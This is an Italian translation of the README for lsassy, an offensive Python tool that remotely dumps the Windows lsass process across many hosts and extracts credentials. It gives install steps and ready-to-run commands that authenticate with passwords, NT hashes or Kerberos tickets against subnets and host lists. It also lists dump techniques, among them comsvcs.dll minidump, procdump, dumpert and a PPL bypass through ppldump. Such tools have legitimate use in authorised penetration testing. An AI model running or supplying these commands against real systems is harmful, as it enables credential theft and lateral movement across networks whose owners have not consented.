
Estrai credenziali da lsass da remoto
Strumento Python per estrarre da remoto le credenziali su un insieme di host. Questo post del blog spiega come funziona.
Questo strumento utilizza il progetto impacket per leggere da remoto i byte necessari nel dump di lsass e pypykatz per estrarre le credenziali.
| Capitoli | Descrizione |
|---|---|
| Avvertenza | Prima di usare questo strumento, leggi questo |
| Installazione | Installazione di lsassy |
| Utilizzo base | Utilizzo base di lsassy |
| Utilizzo avanzato | Utilizzo avanzato di lsassy con spiegazione dei parametri |
| Aggiungere un metodo di dump | Come aggiungere un metodo di dump lsass personalizzato |
| Ringraziamenti | Riconoscimenti a queste persone e strumenti |
| Discord ufficiale | Server Discord ufficiale |
Sebbene abbia fatto ogni sforzo per rendere lo strumento stabile, potrebbero rimanere tracce se si verificano errori.
Questo strumento può lasciare dei dump di lsass se non riesce a eliminarli (anche se cerca di farlo con impegno) o lasciare un'attività pianificata in esecuzione se non riesce a cancellarla. Questo non dovrebbe accadere, ma potrebbe. Ora lo sai, usalo con cautela.
lsassy funziona con python >= 3.7
python3 -m pip install lsassy
python3 setup.py install
lsassy funziona subito su più target (IP, range, CIDR, hostname, FQDN, file contenenti un elenco di target)
lsassy [-d domain] -u pixis -p P4ssw0rd targets
lsassy [-d domain] -u pixis -H [LM:]NT targets
Per impostazione predefinita, lsassy tenterà di eseguire il dump di lsass da remoto utilizzando il metodo comsvcs.dll, tramite WMI o un'attività pianificata remota.
lsassy può autenticarsi con Kerberos. Richiede un TGT valido nella variabile d'ambiente KRB5CCNAME. Vedi utilizzo avanzato per maggiori dettagli.
lsassy -k targets
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.0/24
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-10
lsassy -d hackn.lab -u pixis -p P4ssw0rd hosts.txt
lsassy -d hackn.lab -u pixis -p P4ssw0rd 192.168.1.1-192.168.1.10
In lsassy sono implementati diversi metodi di dump di lsass e alcune opzioni permettono all'utente di controllare come lo strumento procederà.
lsassy è suddiviso in moduli
+-----------+
| Writer |
+-----+-----+
|
|
+----------+ +-----+-----+ +---------+
| Parser |------| Core |----| Session |
+----------+ +-----+-----+ +---------+
|
|
+-----------+
| Dump |-+
| Methods | |-+ +----------+
+-----+-----+ | |----| File |
+-----------+ | +----------+
+------------+
|
|
+-----------+
| Exec |-+
| Methods | |-+
+-----+-----+ | |
+-----------+ |
+------------+
Questo modulo è l'orchestratore. Crea la classe lsassy con gli argomenti e le opzioni forniti, e poi chiama i diversi moduli per recuperare le credenziali.
Questo modulo è utilizzato per la registrazione (logging).
È un livello costruito sopra Impacket per comportarsi come un oggetto file nativo di Python. Sovrascrive metodi come open, read, seek o close.
Questo modulo contiene tutta la logica di dump. A seconda del metodo utilizzato, esegue codice sull'host remoto per eseguire il dump di lsass usando il metodo fornito.
Questo modulo si basa su pypykatz e utilizza il modulo file di lsassy per analizzare da remoto il dump di lsass.
Questo modulo gestisce la parte di output, sia a schermo in diversi formati e/o scrive i risultati in un file.
Questo strumento può eseguire il dump di lsass in diversi modi.
Metodi di dump (-m o --method)
Questo metodo utilizza solo file Windows nativi per estrarre le credenziali da remoto. Usa la funzione minidump di comsvcs.dll per eseguire il dump del processo lsass.
Questo metodo carica procdump.exe da SysInternals per eseguire il dump del processo lsass.
Questo metodo carica dumpert.exe o dumpert.dll da outflanknl per eseguire il dump del processo lsass usando syscall.
Questo metodo carica NativeDump.exe da ricardojoserf per eseguire il dump del processo lsass usando solo NTAPI.
Questo metodo carica ppldump.exe da itm4n per eseguire il dump del processo lsass e bypassare PPL.
Questo metodo carica Mirrordump.exe da Ccob per eseguire il dump di lsass utilizzando un handle già aperto verso lsass tramite un plugin LSA.
Questo metodo utilizza la tecnica WER usata in PowerSploit.
Per alcuni metodi di dump sono richieste opzioni, come il percorso di procdump o dumpert. Queste opzioni possono essere impostate usando --options o -O con un elenco separato da virgole in formato chiave=valore.
... --options key=value,foo=bar
Ad esempio:
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m procdump -O procdump_path=/opt/Sysinternals/procdump.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpert -O dumpert_path=/opt/dumpert.exe
lsassy -d hackn.lab -u pixis -p P4ssw0rd dc01.hackn.lab -m dumpertdll -O dumpertdll_path=/opt/dumpert.dll
Puoi scegliere di analizzare un processo lsass già dumpato fornendo l'opzione --parse-only, insieme ai parametri --dump-path e --dump-name.